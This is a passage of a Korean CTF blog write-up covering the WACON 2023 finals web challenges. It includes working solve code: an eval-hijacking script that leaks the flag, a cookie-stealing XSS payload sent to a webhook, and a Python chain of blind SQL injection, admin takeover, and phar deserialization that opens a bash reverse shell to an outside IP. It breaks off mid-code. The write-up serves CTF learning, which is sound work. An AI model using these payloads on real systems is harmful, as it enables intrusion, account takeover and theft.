Sechack

WACON 2023 본선 All Web Write up + 후기 본문

CTF

WACON 2023 본선 All Web Write up + 후기

Sechack 2023. 9. 29. 03:24
반응형

 

일단 The Orange팀으로 나가서 청소년부 2등해서 상은 땄다. 요즘 포너블에서 웹으로 분야 전향하고 있어서 웹만 보고 있는데 대회 중에 진짜 빡겜했으면 웹 하나 더 풀 수 있었을거같기도 했는데 조금 아쉽다. 어차피 그거 풀어도 1등 못하는 점수였어서 딱히 미련은 없다. Codegate이후로 메이저 대회에서 웹만 주구장창 풀고, write up보고, 복기해보고 열심히 공부하기로 결심했었는데 BoB때문에 실천은 못하는중이다. 빨리 BoB끝나고 웹해킹만 해서 웹의 신이 되고싶다. 조금이라도 계획을 실천하고자 이번 WACON 2023 Final 청소년부에 출제된 모든 웹 문제를 업솔빙해봤다. 웹은 청소년부 일반부 문제 전부 같고 청소년부에 4문제, 일반부에 5문제가 출제되었다. 청소년부에 없고 일반부에만 있던 Operaaa문제는 일반부에서도 1팀밖에 못풀었고 심지어 WACON일반부는 국내가 아니라 국제대회라 유명한 국제팀들(perfect blue, Oops등)도 많이왔는데 1솔밖에 안나온거 보면 청소년부에 없는 문제기도 하고 내가 건들 레벨은 아직 아닌거같아서 해당 문제 빼고 못푼거 싹다 풀어보고 Write up을 작성한다.

 

 

Cha's eval

 

퍼블따고 나서 청소년부 2 ~ 3솔정도 예상했는데 조금 지나고나서 솔버 우루루 나오길래 뭐지 싶었는데 대회 끝나고보니까 우리팀에서 푼 방법은 언인텐이었고 매우매우 쉬운 인텐 풀이가 존재했다.

 

<?php 
include "config.php";

$nonce = substr(sha1(random_bytes(32)), 16);

header("Content-Security-Policy: default-src 'none'; script-src 'unsafe-eval' 'nonce-$nonce'; base-uri 'none'; connect-src 'none';" );

$key = isset($_GET["key"]) ? $_GET["key"] : "NOPE";
if ($key === "NOPE") {
    die("no");
}


$key = sha1($SALT.$key);
$contentfile = "./data/$key";
if (!file_exists($contentfile)) {
    die("no");
}

$contentdata = file_get_contents($contentfile);

unlink($contentfile);
if (file_exists($contentfile)) { 
    die("no");
}

$data = explode("\n", $contentdata);

$header = hex2bin(trim($data[0]));
$script = hex2bin(trim($data[1]));

header($header, false);
?>

<html>
    <head>
        <div id="flag_container">
            <script nonce="<?=$nonce?>">
                window.setTimeout(() => {
                    
                    let tester = 0, tmp = 0;
                    <?php for($i = 0; $i < strlen($FLAG); $i++) { ?>
                    
                    // no winning race
                    tmp = 0;
                    for(let i = 0; i < <?=random_int(500, 1000)?>; i++)
                        tmp += 1;

                    // never pollute eval
                    tester = 0;
                    eval("tester = 1");
                    if(tester === 0) {
                        return;
                    }
                    
                    // no winning race
                    tmp = 0;
                    for(let i = 0; i < <?=random_int(500, 1000)?>; i++)
                        tmp += 1;

                    eval("////////////////////////////////////////$flag[<?= $i ?>] = <?= $FLAG[$i] ?>"); 
                    <?php } ?>

                }, 2000);
            </script>
        </div>
    </head>
    <body>
        <script nonce="<?=$nonce?>">
            (() => { 
                let flag_container = document.getElementById("flag_container");
                document.body.removeChild(flag_container);
                window.setTimeout = window.setInterval = null;
            })();
        </script>

        <script nonce="<?=$nonce?>">
            // User code goes here
            <?= $script ?>
        </script>
    </body>
</html>

 

위는 run.php코드이다. submit.php에서 script와 header를 제출하면 그걸로 파일을 생성한뒤 run.php로 넘겨주고 run.php에서는 다시 그 파일을 읽어서 header를 세팅하고 script는 script태그 안에 넣어준다. 즉 원하는 header를 줄 수 있고 원하는 javascript를 실행시킬 수 있는 상태이다. run.php가 핵심로직이다.

위에 callback함수로 2초후에 실행되는 javascript보면 eval안에 플래그를 넣긴 하는데 사실상 주석이라 아무것도 실행이 안되기 때문에 javascript상에서 플래그를 가져오는건 불가능하다 판단했고 eval함수의 인자로 전달하는 flag값을 어떻게든 가져와야 한다고 판단했다. 그러려면 일단 eval함수를 custom함수로 덮어야 하는 상황이다. 하지만 eval은 caller권한으로 함수를 실행하기 때문에 위에 보이는 tester=1의 검증을 통과할 수 있지만 javascript상에서 정의한 function은 caller의 지역변수를 바꿀 수 없어서 eval을 덮으면 난감해지는 상황이었다. 그래서 삽질하다가 완전 방향을 틀어서 html source code를 leak해서 webhook으로 보내자는 쪽으로 풀이 방향을 잡았다. 하지만 밑에 javascript보면 콜백 등록하자마자 id가 flag_container인 태그를 지워버린다. 쉽게 leak내지는 못하게 해놓은거같다.

풀이 방향을 바꾸고 나서 얼마 지나지 않은 시점에서 팀원이 stack trace를 capture하는게 있다고 이걸 써보는게 어떠냐는 제안을 했고

 

Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace

eval = (code) => {
    const obj = {};
    Error.captureStackTrace(obj)
    console.log(obj.stack[1].getFunction() + "")
}

 

대충 이런식으로 prepareStackTrace함수를 재정의해서 스택 프레임 배열을 그대로 반환하게 설정한다음 captureStackTrace를 불러서 obj에 현재 stack trace정보를 캡처한 후 obj.stack[1].getFunction()이렇게 stack trace의 2번째 프레임, 즉 놀랍게도 eval함수를 호출한 부분의 함수를 얻어올 수 있다.

 

Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace

eval = (code) => {
    const obj = {};
    Error.captureStackTrace(obj)
    const code1 = obj.stack[1].getFunction().toString()
    location.href = "https://webhook.site/737bfd34-0775-4852-b36a-5f64861868e0?flag="+code1.match(/\$flag\[\d+\]\s=\s(.*?)"/gi).join("")
}

 

최종적으로 위와 같이 정규식으로 flag만 파싱해서 보내는 javascript코드를 작성해주면 된다. 헤더 설정할 수 있으니까 csp재정의해줘도 이상하게 fetch가 안먹길래 csp의 src영향 안받는 리다이렉트로 처리해줬다.

 

 

해당 javascript를 submit하면 flag가 깔끔하게 잘 오는걸 볼 수 있다. 이게 우리팀이 푼 언인텐 풀이이고 인텐 풀이는 헤더 줄때 csp를 재정의해줘서 script-src를 우리가 만든 javascript의 hash로 제한하면 flag_container를 지우는 javascript가 실행이 안되면서 그냥 날먹으로 code leak이 가능해진다. 이 풀이를 듣기 전까지는 풀고 나서도 왜 헤더를 주는 기능이 있는지 전혀 이해할수가 없었다.

 

 

funnyjs

 

#!/usr/bin/env node
const puppeteer = require('puppeteer')

const flag = process.env.FLAG || 'WACON2023{test-flag}';

async function visit(url){
	let browser;

	if(!/^https?:\/\//.test(url)){
		return;
	}

	try{
		browser = await puppeteer.launch({
		    pipe: true,
		    args: [
		        "--no-sandbox",
		        "--disable-setuid-sandbox",
		        "--js-flags=--noexpose_wasm,--jitless",
		        "--ignore-certificate-errors",
		    ],
		    executablePath: "/usr/bin/google-chrome-stable",
		    headless: 'new'
		});

		let page = await browser.newPage();

		await page.setCookie({
			httpOnly: false,
			name: 'FLAG',
			value: flag,
			domain: 'web',
			sameSite: 'Lax'
		});

		page = await browser.newPage();
		await page.goto(url,{ waitUntil: 'domcontentloaded', timeout: 2000 });
		await new Promise(r=>setTimeout(r,3000));
	}catch(e){ console.log(e) }
	try{await browser.close();}catch(e){}
	process.exit(0)
}

visit(JSON.parse(process.argv[2]))

 

bot이 있고 쿠키에 flag를 설정해주는걸 봐선 xss문제이다.

 

<head>
	<head>
		<title>funnyjs</title>
	</head>
	<body>
		<script>
			let payload = decodeURIComponent(document.location.hash.slice(1)).replaceAll(/<>/g,'');
			try{
				Function(payload);
			} catch(e){
				let scriptEl = document.createElement('script');
				scriptEl.innerText = payload;
				document.body.appendChild(scriptEl);
			}
		</script>
		<pre style="font-family: sans-serif;">
 ∧,,,∧
(  ̳• · • ̳)
/    づづ plz xss
		</pre>
	</body>
</head>

 

이 문제는 이게 전부이다. 여기서 xss하면 되는 문제다. 얼핏 보면 xss가 그냥 가능한것처럼 보이지만 Function의 인자로 전달한 javascript코드에서 에러가 나야 xss를 할 수 있게 된다. 저기서 에러를 띄울 방법은 구문 에러밖에 없는거같았고 그쪽으로 생각을 해봤다. 일차원적으로 생각하면 당연히 구문에러가 나면 script태그에 삽입되는 payload가 잘못된 javascript구문이라는 말이 되니까 xss도 안되는게 맞지만 javascript언어 특성을 잘 생각해보면 풀이가 보인다.

javascript는 컴파일 언어가 아니라 인터프리터 언어라는 생각을 한번이라도 한다면 이 문제의 풀이는 바로 보인다. script태그 안의 javascript는 한줄한줄 실행하므로 다음줄에서 에러가 나더라도 이전 줄은 이미 실행된 상태이다. 하지만 Function의 인자로 줄때는 인자로 준 코드를 이용해서 함수를 만드는거니까 줄을 바꾸던 뭐던 구문이 틀리면 에러가 나게 된다. 즉 개행을 넣어줘서 xss를 트리거할 수 있다. 그리고 문제 설명에는 안써있지만 Dockerfile보면 8001번포트로 report기능이 돌아가고 있는걸 알 수 있다. 따라서

 

http://web/#location.href="https://webhook.site/737bfd34-0775-4852-b36a-5f64861868e0?"%2bdocument.cookie;//%0a<<>>

 

이렇게 payload를 report기능을 통해서 보내면

 

 

flag가 오는걸 볼 수 있다.

 

 

laracode

 

여기서부터는 대회가 끝나고 대략적인 풀이를 듣고 업솔빙해본 문제들이다. 이 문제까지는 진짜 빡집중했으면 풀었을수도 있었을거같은데 조금 아쉽다. 하지만 위에도 언급했듯이 이걸 푼다고 1등이 되는건 아니었기에... 그다지 미련은 없다.

이 문제는 Laravel이라는 Framework로 구현되어있는 문제이다. 그래서 해당 Framework를 공부하고 보지 않으면 많은 파일들 속에서 헤매면서 분석이 힘들어질 수 있다. 하지만 php코드를 읽을 줄 알고 django와 같은 다른 Web Framework를 접해본적이 있다면 충분히 감으로 구조 파악하면서 분석할 수 있는 문제이다.

 

<?php

use Illuminate\Http\Request;

/*
|--------------------------------------------------------------------------
| API Routes
|--------------------------------------------------------------------------
|
| Here is where you can register API routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| is assigned the "api" middleware group. Enjoy building your API!
|
*/

//Route::middleware('auth:api')->get('/user', function (Request $request) {
//    return $request->user();
//});


# login / register
Route::post('login', 'API\PassportController@login');
Route::post('register', 'API\PassportController@register');

# password reset
Route::post('password/create', 'PasswordResetController@create');
Route::post('password/find', 'PasswordResetController@find');
Route::post('password/reset', 'PasswordResetController@reset');

# basic user endpoint
Route::group(['middleware' => 'auth:api'], function () {
    Route::post('get-details', 'API\PassportController@getDetails'); 

    // Project routes (CRUD)
    Route::get('projects', 'ProjectController@index');
    Route::get('project/{id}', 'ProjectController@show');
    Route::post('project', 'ProjectController@store');
    Route::put('project', 'ProjectController@store');
    Route::delete('project/{id}', 'ProjectController@destroy');

    // Task routes (CRUD)
    Route::get('tasks', 'TaskController@index');
    Route::get('task/{id}', 'TaskController@show');
    Route::post('task', 'TaskController@store');
    Route::put('task', 'TaskController@store');
    Route::delete('task/{id}', 'TaskController@destroy');

    // Task manipulation routes
    Route::put('task/adduser/{task_id}/{user_id}', 'TaskController@addUser');
    Route::delete('task/removeuser/{task_id}/{user_id}', 'TaskController@removeUser');

    // Task query routes
    Route::get('tasks/byuserid/{user_id}', 'TaskController@showByUserId');
    Route::get('tasks/byprojectid/{project_id}', 'TaskController@showByProjectId');
    Route::get('tasks/bypriority/{priority}', 'TaskController@showByPriority');
    Route::get('tasks/byduedate/{duedate}', 'TaskController@showByDueDate');
});

# admin api endpoint
Route::group(['middleware' => ['auth:api','admin']], function () {
    Route::post('valid-image', 'API\PassportController@validProfile'); 
});

 

일단 먼저 api들을 보면 기능이 굉장히 많은걸 알 수 있는데 admin만 사용 가능한 기능이 눈에 띈다.

 

<?php

namespace App\Http\Controllers;

use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use App\Notifications\PasswordResetRequest;
use App\Notifications\PasswordResetSuccess;
use App\User;
use App\PasswordReset;
use Validator;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Str;

class PasswordResetController extends Controller
{
    /**
     * Create token password reset
     *
     * @param  [string] email
     * @return [string] message
     */
    public function create(Request $request)
    {
        $validator = Validator::make($request->all(),[
            'email' => 'required|string|email',
        ]);

        if ($validator->fails()) {
            return response()->json(['error'=>$validator->errors()], 401);            
        }

        $input = $request->all();
        $user = User::where('email', $input['email'])->first();
        if (!$user)
            return response()->json([
                'message' => 'We cant find a user with that e-mail address.'
            ], 404);

        $PR = PasswordReset::where([
            ['email', $input['email']]
        ])->get();
        
        if(count($PR) >= 5)
            PasswordReset::where([['email', $input['email']]])->delete();

        $passwordReset = PasswordReset::create(
            [
                'email' => $user->email,
                'token' => Str::random(60)
             ]
        );
        // if ($user && $passwordReset)
        //     $user->notify( new PasswordResetRequest($passwordReset->token));
        return response()->json([
            'message' => 'We have e-mailed your password reset link!'
        ]);
    }
     /**
     * Check token
     *
     * @param  [string] email
     * @return [string] message
     * @return [json] passwordreset object
     */
    public function find(Request $request)
    {

        $validator = Validator::make($request->all(),[
           'email' => 'required|string|email',
           'order' => 'string|regex:/^\S*$/u'
        ]);

        if ($validator->fails()) {
            return response()->json(['error'=>$validator->errors()], 401);            
        }
        $order = "updated_at DESC";
        $input = $request->all();
        if(array_key_exists('order', $input)) $order = $input["order"]." DESC";
        $passwordReset = DB::table('password_resets')
        ->select(DB::raw('email,created_at'))
        ->where('email', $input['email'])
        ->orderByRaw($order)
        ->get();

        if (!$passwordReset)
            return response()->json([
                'message' => 'This password reset token is invalid.'
            ], 404);
        return response()->json($passwordReset);
    }

     /**
     * Reset password
     *
     * @param  [string] email
     * @param  [string] password
     * @param  [string] password_confirmation
     * @param  [string] token
     * @return [string] message
     * @return [json] user object
     */
    public function reset(Request $request)
    {
        $validator = Validator::make($request->all(),[
            'email' => 'required|string|email',
            'password' => 'required|string|min:10|confirmed',
            'token' => 'required|string'
        ]);
        
        if ($validator->fails()) {
            return response()->json(['error'=>$validator->errors()], 401);            
        }

        $input = $request->all();

        $passwordReset = PasswordReset::where([
            ['token', $input['token']],
            ['email', $input['email']]
        ])->first();
        
        if (!$passwordReset)
            return response()->json([
                'message' => 'This password reset token is invalid.'
            ], 404);
        $user = User::where('email', $passwordReset->email)->first();
        if (!$user)
            return response()->json([
                'message' => 'We can\'t find a user with that e-mail address.'
            ], 404);
        $user->password = bcrypt($input['password']);
        $user->save();
        $passwordReset->delete();
        // $user->notify(new PasswordResetSuccess($passwordReset));
        return response()->json($user);
    }
    
}

 

수많은 기능들 중 취약점은 이 부분에서 터진다. password reset관련된 class인데 이 class안에 있는 find라는 함수는 전송한 이메일 인증 링크 전송 내역을(로직 컨셉상) 원하는 컬럼 기준으로 정렬해서 보여주는 기능인데 여기서 orderByRaw함수로 들어가는 쿼리에 인풋을 아무런 검증 없이 붙여서 넣고 있으므로 order by에서 sql injection이 가능하다. 그래서 처음에는 당연히 mysql일줄 알고 mysql문법으로 injection해보고 있었는데 이상하게 되는게 있고 안되는게 있고 좀 동작이 이상했다.

 

<?php

use Illuminate\Support\Str;

return [

    /*
    |--------------------------------------------------------------------------
    | Default Database Connection Name
    |--------------------------------------------------------------------------
    |
    | Here you may specify which of the database connections below you wish
    | to use as your default connection for all database work. Of course
    | you may use many connections at once using the Database library.
    |
    */

    'default' => env('DB_CONNECTION', 'mysql'),

    /*
    |--------------------------------------------------------------------------
    | Database Connections
    |--------------------------------------------------------------------------
    |
    | Here are each of the database connections setup for your application.
    | Of course, examples of configuring each database platform that is
    | supported by Laravel is shown below to make development simple.
    |
    |
    | All database work in Laravel is done through the PHP PDO facilities
    | so make sure you have the driver for your particular database of
    | choice installed on your machine before you begin development.
    |
    */

    'connections' => [

        'sqlite' => [
            'driver' => 'sqlite',
            'url' => env('DATABASE_URL'),
            'database' => env('DB_DATABASE', database_path('database.sqlite')),
            'prefix' => '',
            'foreign_key_constraints' => env('DB_FOREIGN_KEYS', true),
        ],

        'mysql' => [
            'driver' => 'mysql',
            'url' => env('DATABASE_URL'),
            'host' => env('DB_HOST', '127.0.0.1'),
            'port' => env('DB_PORT', '3306'),
            'database' => env('DB_DATABASE', 'forge'),
            'username' => env('DB_USERNAME', 'forge'),
            'password' => env('DB_PASSWORD', ''),
            'unix_socket' => env('DB_SOCKET', ''),
            'charset' => 'utf8mb4',
            'collation' => 'utf8mb4_unicode_ci',
            'prefix' => '',
            'prefix_indexes' => true,
            'strict' => true,
            'engine' => null,
            'options' => extension_loaded('pdo_mysql') ? array_filter([
                PDO::MYSQL_ATTR_SSL_CA => env('MYSQL_ATTR_SSL_CA'),
            ]) : [],
        ],

        'pgsql' => [
            'driver' => 'pgsql',
            'url' => env('DATABASE_URL'),
            'host' => env('DB_HOST', '127.0.0.1'),
            'port' => env('DB_PORT', '5432'),
            'database' => env('DB_DATABASE', 'forge'),
            'username' => env('DB_USERNAME', 'forge'),
            'password' => env('DB_PASSWORD', ''),
            'charset' => 'utf8',
            'prefix' => '',
            'prefix_indexes' => true,
            'schema' => 'public',
            'sslmode' => 'prefer',
        ],

        'sqlsrv' => [
            'driver' => 'sqlsrv',
            'url' => env('DATABASE_URL'),
            'host' => env('DB_HOST', 'localhost'),
            'port' => env('DB_PORT', '1433'),
            'database' => env('DB_DATABASE', 'forge'),
            'username' => env('DB_USERNAME', 'forge'),
            'password' => env('DB_PASSWORD', ''),
            'charset' => 'utf8',
            'prefix' => '',
            'prefix_indexes' => true,
        ],

    ],

    /*
    |--------------------------------------------------------------------------
    | Migration Repository Table
    |--------------------------------------------------------------------------
    |
    | This table keeps track of all the migrations that have already run for
    | your application. Using this information, we can determine which of
    | the migrations on disk haven't actually been run in the database.
    |
    */

    'migrations' => 'migrations',

    /*
    |--------------------------------------------------------------------------
    | Redis Databases
    |--------------------------------------------------------------------------
    |
    | Redis is an open source, fast, and advanced key-value store that also
    | provides a richer body of commands than a typical key-value system
    | such as APC or Memcached. Laravel makes it easy to dig right in.
    |
    */

    'redis' => [

        'client' => env('REDIS_CLIENT', 'phpredis'),

        'options' => [
            'cluster' => env('REDIS_CLUSTER', 'redis'),
            'prefix' => env('REDIS_PREFIX', Str::slug(env('APP_NAME', 'laravel'), '_').'_database_'),
        ],

        'default' => [
            'url' => env('REDIS_URL'),
            'host' => env('REDIS_HOST', '127.0.0.1'),
            'password' => env('REDIS_PASSWORD', null),
            'port' => env('REDIS_PORT', '6379'),
            'database' => env('REDIS_DB', '0'),
        ],

        'cache' => [
            'url' => env('REDIS_URL'),
            'host' => env('REDIS_HOST', '127.0.0.1'),
            'password' => env('REDIS_PASSWORD', null),
            'port' => env('REDIS_PORT', '6379'),
            'database' => env('REDIS_CACHE_DB', '1'),
        ],

    ],

];

 

해당 웹서비스에서는 mysql말고도 postgresql과 redis를 사용하는데 mysql이 아니라 postgresql일 가능성도 있겠다 생각해서 postgresql문법으로 injection해보니까 잘 먹힌다. sql injection으로 admin의 password reset token을 leak하고 admin password를 reset해버리면 admin을 딸 수 있고 admin전용 기능을 사용할 수 있게 된다.

 

import requests
import hashlib
import os
from tqdm import tqdm

s = requests.Session()

url = "http://58.225.56.196"

sqli = "(select/**/case/**/when/**/{}/**/then/**/email/**/else/**/token/**/end/**/asc)/**/--/**/"
query = "ascii(substr((select/**/token/**/from/**/password_resets/**/where/**/email='admin@wacon.com'/**/limit/**/1/**/offset/**/1),{},1))={}"

a = ""
b = ""

while True:
    for i in range(4):
        s.post(url+"/api/password/create", data={"email":"admin@wacon.com"})
    a = s.post(url+"/api/password/find", data={"email":"admin@wacon.com", "order":sqli.format("1=1")}).json()[0]
    b = s.post(url+"/api/password/find", data={"email":"admin@wacon.com", "order":sqli.format("1=0")}).json()[0]
    if a != b:
        break

token = ""
for i in range(1, 61):
    for j in tqdm(range(0x20, 0x7f)):
        res = s.post(url+"/api/password/find", data={"email":"admin@wacon.com", "order":sqli.format(query.format(i, j))})
        if res.json()[0] == a:
            token += chr(j)
            print(token)
            break

res = s.post(url+"/api/password/reset", data={"email":"admin@wacon.com", "token":token, "password":"a"*10, "password_confirmation":"a"*10})
print(res.text)

 

일단 admin따고 password reset시키는거까지 구현한 코드이다. postgresql을 처음써봐서 쿼리짜는게 고생을 좀 했다. 편하게 time based나 error based로 가려했지만 이상하게 pg_sleep이 안먹혔고 error based도 blind로 짜려면 답없는거같아서 그냥 참일때는 email기준으로, 거짓을때는 token기준으로 정렬하게 해줘서 참 거짓 여부 판별했다. 아 물론 이렇게 하려면 email기준으로 정렬했을때와 token기준으로 정렬했을때 정렬 순서가 달라야하므로 정렬 순서가 다를때까지 create를 계속 해준 후에 sql injection으로 token추출을 진행해야 한다.

 

 

약간의 기다림 끝에 admin password가 성공적으로 변경된걸 확인할 수 있다.

 

 

로그인 해보면 성공적으로 admin계정으로 로그인되는걸 확인할 수 있다.

 

<?php

namespace App\Http\Controllers\API;

use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use App\User;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Storage;
use Validator;

class PassportController extends Controller
{

    public $successStatus = 200;

    /**
     * login api
     *
     * @return \Illuminate\Http\Response
     */
    public function login(){
        if(Auth::attempt(['email' => request('email'), 'password' => request('password')])){
            $user = Auth::user();
            $success['token'] =  $user->createToken('MyApp')->accessToken;
            return response()->json(['success' => $success], $this->successStatus);
        }
        else{
            return response()->json(['error'=>'Unauthorised'], 401);
        }
    }

    /**
     * Register api
     *
     * @return \Illuminate\Http\Response
     */
    public function register(Request $request)
    {
        $validator = Validator::make($request->all(), [
            'first_name' => 'required|alpha_num',
            'last_name' => 'required|alpha_num',
            'email' => 'required|email',
            'password' => 'required|min:10',
            'c_password' => 'required|same:password',
            'profile_pic' => 'image|mimes:jpeg,png,jpg,gif|max:2048'
        ]);

        if ($validator->fails()) {
            return response()->json(['error'=>$validator->errors()], 401);            
        }

        $input = $request->all();
        $file = $request->files->get('profile_pic');

        if(isset($file)){
            $filename = pathinfo($file->getClientOriginalName(), PATHINFO_FILENAME);
            $ext = pathinfo($file->getClientOriginalName(), PATHINFO_EXTENSION);
            $finalname = 'user_'.md5($input['email']).'.'.$ext;
            Storage::disk('uploads')->put($finalname, file_get_contents($file));
            $input['profile_pic'] = "/tmp".DIRECTORY_SEPARATOR.$finalname;
        }

        // Set default role to "user"
        $input['role'] = 'user';
        $input['password'] = bcrypt($input['password']);
        $user = User::create($input);
        $success['token'] =  $user->createToken('MyApp')->accessToken;
        $success['name'] =  $user->name;

        return response()->json(['success'=>$success], $this->successStatus);
    }

     /**
     * details api
     *
     * @return \Illuminate\Http\Response
     */
    public function validProfile(Request $request){
    
        $validator = Validator::make($request->all(), [
            'profile_pic' => 'required|string'
        ]);

        if ($validator->fails()) {
            return response()->json(['error'=>$validator->errors()], 401);            
        }

        $input = $request->all();
        $file = $input['profile_pic'];
        
        return response()->json(['md5_file' => @md5_file($file)], $this->successStatus);
    }

    /**
     * details api
     *
     * @return \Illuminate\Http\Response
     */
    public function getDetails()
    {
        $user = Auth::user();
        return response()->json(['success' => $user], $this->successStatus);
    }

}

 

위는 로그인, 회원가입 등이 구현되어 있는 class이다. 해당 class에는 validProfile함수가 있고 위에 api.php를 봤으면 알겠지만 이 기능은 admin만 사용할 수 있다. 해당 함수의 md5_file함수에서 phar:// deserialization을 할 수 있고 register함수에서 임의의 파일을 올릴 수 있으므로 RCE가 가능하다. 물론 테스트 해본 결과 register함수에서 이미지만 올릴 수 있도록 검증하고 있긴 하지만 이건 쉽게 우회가 가능하다.

 

https://github.com/ambionics/phpggc

 

GitHub - ambionics/phpggc: PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command li

PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically. - GitHub - ambionics/phpggc: PHPGGC is a library of PHP unserialize() p...

github.com

 

그리고 위 github링크 가보면 알겠지만 gadget찾아주는 phpggc라는 개사기 툴이 있다. 해당 툴에서 Laravel Framework도 지원해주므로 그냥 저거 툴 돌려서 phar파일 생성하면 된다.

 

import requests
import hashlib
import os
from tqdm import tqdm

s = requests.Session()

url = "http://58.225.56.196"

sqli = "(select/**/case/**/when/**/{}/**/then/**/email/**/else/**/token/**/end/**/asc)/**/--/**/"
query = "ascii(substr((select/**/token/**/from/**/password_resets/**/where/**/email='admin@wacon.com'/**/limit/**/1/**/offset/**/1),{},1))={}"

a = ""
b = ""

while True:
    for i in range(4):
        s.post(url+"/api/password/create", data={"email":"admin@wacon.com"})
    a = s.post(url+"/api/password/find", data={"email":"admin@wacon.com", "order":sqli.format("1=1")}).json()[0]
    b = s.post(url+"/api/password/find", data={"email":"admin@wacon.com", "order":sqli.format("1=0")}).json()[0]
    if a != b:
        break

token = ""
for i in range(1, 61):
    for j in tqdm(range(0x20, 0x7f)):
        res = s.post(url+"/api/password/find", data={"email":"admin@wacon.com", "order":sqli.format(query.format(i, j))})
        if res.json()[0] == a:
            token += chr(j)
            print(token)
            break

res = s.post(url+"/api/password/reset", data={"email":"admin@wacon.com", "token":token, "password":"a"*10, "password_confirmation":"a"*10})
print(res.text)
res = s.post(url+"/api/login", data={"email":"admin@wacon.com", "password":"a"*10})
token = res.json()["success"]["token"]
cmd = "bash -c \"bash -i >& /dev/tcp/158.247.215.127/10070 0>&1\""
print(f"php -c php.ini ./phpggc/phpggc -pj sample.jpg Laravel/RCE8 system '{cmd}' > zzlol.jpg")
os.system(f"php -c php.ini ./phpggc/phpggc -pj sample.jpg Laravel/RCE8 system '{cmd}' > zzlol.jpg")
f = open("zzlol.jpg", "rb")
res = s.post(url+"/api/register", data={"first_name":"Sechack", "last_name":"Sechack", "email":"asdf15@gmail.com", "password":"a"*10, "c_password":"a"*10}, files={"profile_pic":f})
print(res.text)
res = s.post(url+"/api/valid-image", headers={"Authorization": f"Bearer {token}"}, data={"profile_pic":"phar:///tmp/user_" + hashlib.md5("asdf15@gmail.com".encode()).hexdigest() + ".jpg"})
print(res.text)

 

Full exploit은 위와 같다. phpggc가 Laravel Framework에서 여러가지 gadget을 찾아주는데 버전따라서 안되는게 좀 있으므로 되는거 쓰면 된다. 최종적으로는 reverse shell을 따서 풀었다.

exploit을 실행하면

 

 

회원가입과 동시에 파일이 잘 올라가고

 

 

reverse shell이 따인걸 볼 수 있다.

 

 

Cha's Note

 

디스코드에 올라온 exploit code와 풀이 방법에 대한 내용을 참고하면서 풀어봤는데 진짜 감탄밖에 안나오는 문제다...

 

const express = require("express");
const ejs = require('ejs')
const fs = require("fs");
const session = require("express-session");
const bodyParser = require("body-parser");
const { assert } = require("console");

const crypto = require("crypto");
const { sanitize } = require("./util");
const random_bytes = size => crypto.randomBytes(size).toString('hex');

const USER_DIR = '/user/'
const SHARE_DIR = './share/'
const FLAG_REGEX = /WACON2023{.*}/;

app = express();
app.set('view engine', 'ejs');

app.use('/share', express.static('share'));
app.use(bodyParser.urlencoded({ extended: false }));
app.use(
    session({
        cookie: { maxAge : 600000 },
        secret: random_bytes(64),
    })
);

app.use((req, res, next) => {
    req.nonce = random_bytes(16);
	res.setHeader('Content-Security-Policy',`script-src 'nonce-${req.nonce}'; frame-src 'none'; object-src 'none'; style-src 'unsafe-inline' https://cdn.jsdelivr.net/npm/bulma@0.9.4/css/bulma.min.css`);
    res.setHeader("X-Content-Type-Options","nosniff")
	next();
});

app.use((req, res, next) => {
    if (req.session.user) {
        if (req.query.query) {
            assert(req.query.query && typeof req.query.query == 'string');
            req.session.query = req.query.query;
        } else {
            req.session.query = '';
        }
        next();
    } else {
        const username = random_bytes(8);
        const userDir = USER_DIR + username;
        req.session.user = username;
        req.session.idx = 0;
        if (fs.existsSync(userDir)) {
            fs.rmdirSync(userDir, { recursive: true, force: true });
        }
        fs.mkdirSync(userDir);
        next();
    }
});

app.get(`/debug_${random_bytes(4)}`, (req, res) => {
    if (req.query.debug && typeof req.query.debug == 'string') {
        return res.setHeader('Content-Type','text/html').send(req.query.debug.slice(0,24));
    }
    return res.setHeader('Content-Type', 'text/html').send('Debug');
});

app.all('/', (req, res) => {
    const pastContent = req.session.pastContent || ""
    req.session.pastContent = ""
    res.render('index', {
        redirectUrl: req.query.redirectUrl || '/',
        query: req.session.query || '',
        username: req.session.user, 
        shared: false,
        nonce: req.nonce,
        pastContent: pastContent
    });
});

app.all('/clear', (req, res) => {
    if (req.session.user) {
        const userDir = USER_DIR + req.session.user;
        fs.rmdirSync(userDir, { recursive: true, force: true });
        req.session.destroy();
        return res.redirect('/');
    } else {
        return res.redirect('/');
    }
})

app.get('/notes/get', (req, res) => {
    const { user, query } = req.session;
    const userDir = USER_DIR + user;
    const files = fs.readdirSync(userDir);

    const data = [];
    files.forEach((path) => {
        content = fs.readFileSync(userDir + '/' + path).toString();
        if (content.match(FLAG_REGEX)) {
            return;
        }
        if (content.match(query)) {
            data.push({ 'content': sanitize(content), 'id': path });
        }
    });
    return res.json(data);
});

app.post('/notes/new', (req, res) => {
    const user = req.session.user;
    const userDir = USER_DIR + user + '/';
    const noteName = req.session.idx.toString();
    req.session.idx += 1;
    const content = req.body.content;
    const redirectUrl = req.body.redirectUrl || '/';
    assert(content && typeof content === 'string' && content.length < 3000);
    fs.writeFile(userDir + noteName + '.html', content, (err) => {
        if (err) { 
            return res.setHeader('Content-Type', 'text/html').send('<h1>Error!!</h1>');
        } else {
            if(!req.body.save) {
                req.session.pastContent = content
            }
            return res.redirect(redirectUrl);
        }
    });
});

app.post('/notes/delete/:id', (req, res) => {
    const user = req.session.user;
    const userDir = USER_DIR + user
    const noteId = req.params.id;
    const redirectUrl = req.body.redirectUrl || '/';
    assert(noteId && typeof noteId === 'string' && /^\d+$/.test(noteId));
    fs.rm(userDir + '/' + noteId + '.html', (err) => {
        if (err) { 
            return res.setHeader('Content-Type', 'text/html').send('<h1>Error!!</h1>');
        } else {
            req.session.idx -= 1
            return res.redirect(redirectUrl);
        }
    });
});

app.get('/share', async (req, res) => {
    const { user, query } = req.session;
    const userDir = USER_DIR + user;
    const files = fs.readdirSync(userDir);

    const data = [];
    files.forEach((path) => {
        content = fs.readFileSync(userDir + '/' + path).toString();
        if (content.match(FLAG_REGEX)) {
            return;
        }
        if (content.match(query)) {
